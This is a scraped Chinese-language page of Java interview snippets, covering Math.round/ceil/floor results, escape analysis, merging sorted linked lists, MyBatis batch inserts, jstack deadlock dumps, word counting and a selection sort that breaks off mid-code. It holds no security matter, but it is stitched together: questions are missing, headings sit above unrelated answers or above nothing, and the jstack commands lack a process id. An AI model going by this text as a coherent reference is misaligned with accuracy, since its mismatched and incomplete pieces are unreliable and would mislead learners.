System.out.println("Math.round(1.4)=" + Math.round(1.4)); System.out.println("Math.round(-1.4)=" + Math.round(-1.4)); System.out.println("Math.round(1.5)=" + Math.round(1.5)); System.out.println("Math.round(-1.5)=" + Math.round(-1.5)); System.out.println("Math.round(1.6)=" + Math.round(1.6)); System.out.println("Math.round(-1.6)=" + Math.round(-1.6)); System.out.println(); System.out.println("Math.ceil(1.4)=" + Math.ceil(1.4)); System.out.println("Math.ceil(-1.4)=" + Math.ceil(-1.4)); System.out.println("Math.ceil(1.5)=" + Math.ceil(1.5)); System.out.println("Math.ceil(-1.5)=" + Math.ceil(-1.5)); System.out.println("Math.ceil(1.6)=" + Math.ceil(1.6)); System.out.println("Math.ceil(-1.6)=" + Math.ceil(-1.6)); System.out.println(); System.out.println("Math.floor(1.4)=" + Math.floor(1.4)); System.out.println("Math.floor(-1.4)=" + Math.floor(-1.4)); System.out.println("Math.floor(1.5)=" + Math.floor(1.5)); System.out.println("Math.floor(-1.5)=" + Math.floor(-1.5)); System.out.println("Math.floor(1.6)=" + Math.floor(1.6)); System.out.println("Math.floor(-1.6)=" + Math.floor(-1.6));
打印结果:
Math.round(1.4)=1 Math.round(-1.4)=-1 Math.round(1.5)=2 Math.round(-1.5)=-1 Math.round(1.6)=2 Math.round(-1.6)=-2 Math.ceil(1.4)=2.0 Math.ceil(-1.4)=-1.0 Math.ceil(1.5)=2.0 Math.ceil(-1.5)=-1.0 Math.ceil(1.6)=2.0 Math.ceil(-1.6)=-1.0 Math.floor(1.4)=1.0 Math.floor(-1.4)=-2.0 Math.floor(1.5)=1.0 Math.floor(-1.5)=-2.0 Math.floor(1.6)=1.0 Math.floor(-1.6)=-2.0
复杂度
为什么要进行复杂度分析?
分析对象动态作用域
如果能证明一个对象不会逃逸到方法或线程之外,或者逃逸程度比较低(只逃逸出方法而不会逃逸出线程),则可能为这个对象实例采取不同程度的优化,如栈上分配、标量替换、同步消除。
先自己实现一个单向的链表
package constxiong.interview; /** * 单向链表 * @author ConstXiong * @param <E> */ class SingleLinkedList<E> { int size = 0; Node<E> first; Node<E> last; public SingleLinkedList() { } public void add(E e) { Node<E> l = last; Node<E> item = new Node<E>(e, null); last = item; if (l == null) { this.first = item; } else { l.next = item; } size++; } /** * 打印链表 * @param ll */ public void print() { for (Node<E> item = first; item != null; item = item.next) { System.out.print(item + " "); } } /** * 单向链表中的节点 * @author ConstXiong * @param <E> */ public static class Node<E> { E item; Node<E> next; Node(E item, Node<E> next) { this.item = item; this.next = next; } public E get() { return item; } @Override public String toString() { return item.toString(); } } }
题目中链表是有序的,所以不需要考虑排序问题
mergeeSingleLinkedList 方法合并链表,思路
package constxiong.interview; import constxiong.interview.SingleLinkedList.Node; /** * 链表两个有序列表 * @author ConstXiong * @date 2019-11-06 09:37:14 */ public class TestMergeLinkedList { public static void main(String[] args) { SingleLinkedList<Integer> ll1 = new SingleLinkedList<Integer>(); ll1.add(3); ll1.add(8); ll1.add(19); SingleLinkedList<Integer> ll2 = new SingleLinkedList<Integer>(); ll2.add(3); ll2.add(10); ll2.add(17); mergeeSingleLinkedList(ll1, ll2).print(); } /** * 合并两个有序列表 * @param ll1 * @param ll2 * @return */ private static SingleLinkedList<Integer> mergeeSingleLinkedList(SingleLinkedList<Integer> ll1, SingleLinkedList<Integer> ll2) { if (isEmpty(ll1) || isEmpty(ll2)) { return isEmpty(ll1) ? ll2 : ll1; } SingleLinkedList<Integer> ll = new SingleLinkedList<Integer>(); Node<Integer> ll1Node = ll1.first; Node<Integer> ll2Node = ll2.first; Node<Integer> small = ll1Node.get() <= ll2Node.get() ? ll1Node : ll2Node; Node<Integer> large = ll1Node.get() > ll2Node.get() ? ll1Node : ll2Node; do { ll.add(small.get()); Node<Integer> smallNext = small.next; if (smallNext == null || large == null) { small = smallNext == null ? large : smallNext; large = null; } else { small = smallNext.get() <= large.get() ? smallNext : large; large = smallNext.get() > large.get() ? smallNext : large; } } while (small != null); return ll; } /** * 测试链表存储是否OK */ public static void testSingleLinkedListIsOk() { SingleLinkedList<Integer> ll = new SingleLinkedList<Integer>(); ll.add(3); ll.add(8); ll.add(19); ll.print(); } private static boolean isEmpty(SingleLinkedList<Integer> ll) { if (ll == null || ll.size == 0) { return true; } return false; } }
打印结果
3 3 8 10 17 19
方式一、打开批量插入的 SqlSession
SqlSession sqlSession = sqlSessionFactory.openSession(ExecutorType.BATCH);
UserMapper userMapper = sqlSession.getMapper(UserMapper.class);
for (int i = 36; i <= 45; i++) {
userMapper.insertUser(new User(i, "ConstXiong" + i));
}
sqlSession.commit();
sqlSession.close();
方式二、拼接批量插入的 insert SQL
//Java 代码
List<User> userList = new ArrayList<>();
for (int i = 46; i <= 55; i++) {
userList.add(new User(i,"ConstXiong" + i));
}
userMapper.insertUserBatch(userList);
<!--Mapper xml 中配置-->
<insert id="insertUserBatch" parameterType="java.util.List">
insert into user values
<foreach collection="list" item="item" separator =",">
(#{item.id}, #{item.name})
</foreach>
</insert>
完整 Demo:
https://javanav.com/val/2d21b1463f2e4faeaf0def0c49df34a4.html
死锁的线程可以使用 jstack 指令 dump 出 JVM 的线程信息。
jstack -l > threads.txt
有时候需要dump出现异常,可以加上 -F 指令,强制导出
jstack -F -l > threads.txt
如果存在死锁,一般在文件最后会提示找到 deadlock 的数量与线程信息
有几点注意事项:
package constxiong.interview; import java.io.BufferedReader; import java.io.FileNotFoundException; import java.io.FileReader; import java.io.IOException; import java.util.regex.Matcher; import java.util.regex.Pattern; /** * 统计某字符串在文件中出现的次数 * * @author ConstXiong */ public class TestCountWord { public static void main(String[] args) { String filePath = "/Users/handsome/Desktop/a.txt"; String word = "ConstXiong"; System.out.println(countWordAppearTimes(filePath, word)); } /** * 统计每行的出现单词的出现次数之后 * @param filePath * @param word * @return */ public static int countWordAppearTimes(String filePath, String word) { int times = 0; FileReader fr = null; BufferedReader br = null; try { fr = new FileReader(filePath); br = new BufferedReader(fr); String line; while ((line = br.readLine()) != null) {//读文件每行字符串 //按照单词正则查找出现次数 Pattern p = Pattern.compile(word); Matcher m = p.matcher(line); while (m.find()) { times++; } } } catch (IOException e) { e.printStackTrace(); } finally { if (fr != null) { try { fr.close(); } catch (IOException e) { e.printStackTrace(); } } if (br != null) { try { br.close(); } catch (IOException e) { e.printStackTrace(); } } } return times; } }
思路:
步骤:
代码:
package constxiong.interview.algorithm; /** * 选择排序 * @author ConstXiong * @date 2020-04-09 12:25:12 */ public class SelectionSort { public static void main(String[] args) { int [] array = {33, 22, 1, 4, 25, 88, 71, 4}; selectionSort(array); } /** * 选择排序 * @param array */ public static void selectionSort(int[] array) { print(array); //进行 数组长度-1 轮比较 int minIndex; for (int i = 0; i <array.length-1; i++) { minIndex = i;//取未排序区第一个数的下标 for (int j = i+1; j <array.length; j++) { if (array[j] <array[minIndex]) { //找到未排序区域最小值的下标 minIndex = j; } } //找到的最小值是否需要挪动 if (i != minIndex) { int temp = array[i]; array[i] = array[minIndex]; array[minIndex] = temp; } print(array); } } /** * 打印数组 * @param array */ private static void print(int[] array) { f
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。